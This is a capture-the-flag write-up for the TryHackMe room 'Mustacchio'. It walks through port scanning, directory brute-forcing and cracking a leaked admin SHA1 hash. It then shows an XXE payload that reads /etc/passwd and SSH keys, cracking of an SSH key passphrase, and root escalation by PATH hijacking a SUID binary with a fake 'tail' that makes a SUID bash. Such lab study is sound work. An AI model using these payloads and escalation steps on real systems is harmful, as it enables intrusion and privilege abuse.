TryHackMe: Mustacchio
Mustacchio was a room that again, had me only going to check write-ups for the root flag which is very good compared to before and it was fun. First part got me confused but eventually got there.
https://tryhackme.com/r/room/mustacchio
Initial Enumeration
Nmap Scan
We start with our nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -T4 -n -sC -sV -Pn -p- 10.10.161.157
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 14:29 GMT
Nmap scan report for 10.10.161.157
Host is up (0.071s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 58:1b:0c:0f:fa:cf:05:be:4c:c0:7a:f1:f1:88:61:1c (RSA)
| 256 3c:fc:e8:a3:7e:03:9a:30:2c:77:e0:0a:1c:e4:52:e6 (ECDSA)
|_ 256 9d:59:c6:c7:79:c5:54:c4:1d:aa:e4:d1:84:71:01:92 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Mustacchio | Home
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/
8765/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Mustacchio | Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 128.71 seconds
Web 80
Two pages to see, port 80 and port 8765, but we will start at port 80 since its a website and the other an admin panel:
Gobuster Scan
Couldn’t find much on the websites so the next step is a gobuster scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x ".html,.txt" -t 25 --timeout 20s -u http://10.10.161.157:80/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.161.157:80/
[+] Method: GET
[+] Threads: 25
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html
[+] Timeout: 20s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 315] [--> http://10.10.161.157/images/]
/index.html (Status: 200) [Size: 1752]
/.html (Status: 403) [Size: 278]
/about.html (Status: 200) [Size: 3152]
/contact.html (Status: 200) [Size: 1450]
/blog.html (Status: 200) [Size: 3172]
/gallery.html (Status: 200) [Size: 1950]
/custom (Status: 301) [Size: 315] [--> http://10.10.161.157/custom/]
/robots.txt (Status: 200) [Size: 28]
/fonts (Status: 301) [Size: 314] [--> http://10.10.161.157/fonts/]
/server-status (Status: 403) [Size: 278]
Progress: 661680 / 661683 (100.00%)
===============================================================
Finished
===============================================================
After looking around the directories, inside customs
we find two folders:
And inside the js
folder we find a .bak
file:
Web 8765
Downloading the file we see that its an sqlite file, and reading it gives us the admin hash:
1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ cat users.bak
��0]admin1868e36a6d2b17d4c2745f1659433a54d4bc5f4b
To crack this hash, since its a simple hash, we could use 2 tools, Crackstation.net or JohnTheRipper:
1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/Desktop]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha1 hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
bulldog19 (?)
1g 0:00:00:00 DONE (2025-01-30 14:47) 25.00g/s 17102Kp/s 17102Kc/s 17102KC/s bulldog27..bullcrap1
Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably
Session completed.
Now with credentials we can try logging into the admin panel:
And it worked:
Now inside there isn’t much we could do, and when trying to access the source of the home.php
page it would redirect us to the index.php
source.
To look for hidden comments inside the home.php
we had to inspect the page instead:
Shell as barry
After downloading the .bak
file from /auth/dontforget.bak
, reading it gave us some clues:
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Desktop]
└─$ cat dontforget.bak
<?xml version="1.0" encoding="UTF-8"?>
<comment>
<name>Joe Hamd</name>
<author>Barry Clad</author>
<com>his paragraph was a waste of time and space. If you had not read this and I had not typed this you and I could’ve done something more productive than reading this mindlessly and carelessly as if you did not have anything else to do in life. Life is so precious because it is short and you are being so careless that you do not realize it until now since this void paragraph mentions that you are doing something so mindless, so stupid, so careless that you realize that you are not using your time wisely. You could’ve been playing with your dog, or eating your cat, but no. You want to read this barren paragraph and expect something marvelous and terrific at the end. But since you still do not realize that you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you have wasted an estimated time of 20 seconds.</com>
</comment>
One being that we now know of 2 possible users, Joe and Barry, and the other being that xml was present. SSH required a key so our best option is firing up Burp Suite and investigate.
Inside the home.php
we find the xml part that takes the content of the comments and displays it. And lucky enough we were able to reflect it:
Next step would be to enumerate further through XXE but the normal payload wasn’t working:
1
2
3
4
5
xml=<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<comment>
<name>&ent;</name>
</comment>
But after encoding, it worked:
We could now try to get the id_rsa
of the users to log into them through ssh, but we were only able to get the barry’s key:
After copying the key to a file we first had to crack its password with JohnTheRipper:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh2john id_rsa > hash
┌──(kali㉿kali)-[~/Desktop]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
urieljames (id_rsa)
1g 0:00:00:00 DONE (2025-01-30 15:16) 1.250g/s 3713Kp/s 3713Kc/s 3713KC/s urieljr.k..urielfabricio07
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
And now we could log into barry and get the user flag:
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/Desktop]
└─$ chmod 600 id_rsa
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -i id_rsa barry@10.10.161.157
Enter passphrase for key 'id_rsa':
...
barry@mustacchio:~$ ls
user.txt
barry@mustacchio:~$ cat user.txt
[REDACTED]
Shell as root
As the hint states we will start by enumerating SUID Binaries:
1
2
3
4
barry@mustacchio:~$ find / -type f -perm -u=s 2>/dev/null
...
/home/joe/live_log
...
We find a live_log
file inside Joe’s home directory, doing a quick file live_log
we see its an ELF file so we won’t be able to read much of it, the easiest option would be to do a strings
:
1
2
3
barry@mustacchio:/tmp$ strings /home/joe/live_log
...
tail -f /var/log/nginx/access.log
When trying to access the access.log
file we get a permission denied:
1
2
3
barry@mustacchio:/tmp$ tail -f /var/log/nginx/access.log
tail: cannot open '/var/log/nginx/access.log' for reading: Permission denied
tail: no files remaining
A workaround this would be to create our own tail and execute it as bash. The first step is to create a file called tail
inside a folder with world writable permissions like tmp, **and inside the following code:
1
2
3
4
barry@mustacchio:/tmp$ cat tail
#!/bin/bash
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
Setting the SUID (Set User ID) bit on an executable file allows it to run with the privileges of the file’s owner so we will use this to our advantage and try to get a privileged bash, but first we need to add this new bash to the PATH variable:
1
barry@mustacchio:/tmp$ export PATH=/tmp:$PATH
Lastly we just have to give executable permissions to the /tmp/tail
file and run the live_log
which will use our new tail binary instead of the one that’s limited:
1
2
barry@mustacchio:/tmp$ chmod +x /tmp/tail
barry@mustacchio:/tmp$ /home/joe/live_log
Now with the new /tmp/bash
created we just do -p
to get root level and read the root flag:
1
2
3
4
5
6
7
8
barry@mustacchio:/tmp$ /tmp/bash -p
bash-4.3# whoami
root
bash-4.3# cd root
bash-4.3# ls
root.txt
bash-4.3# cat root.txt
[REDACTED]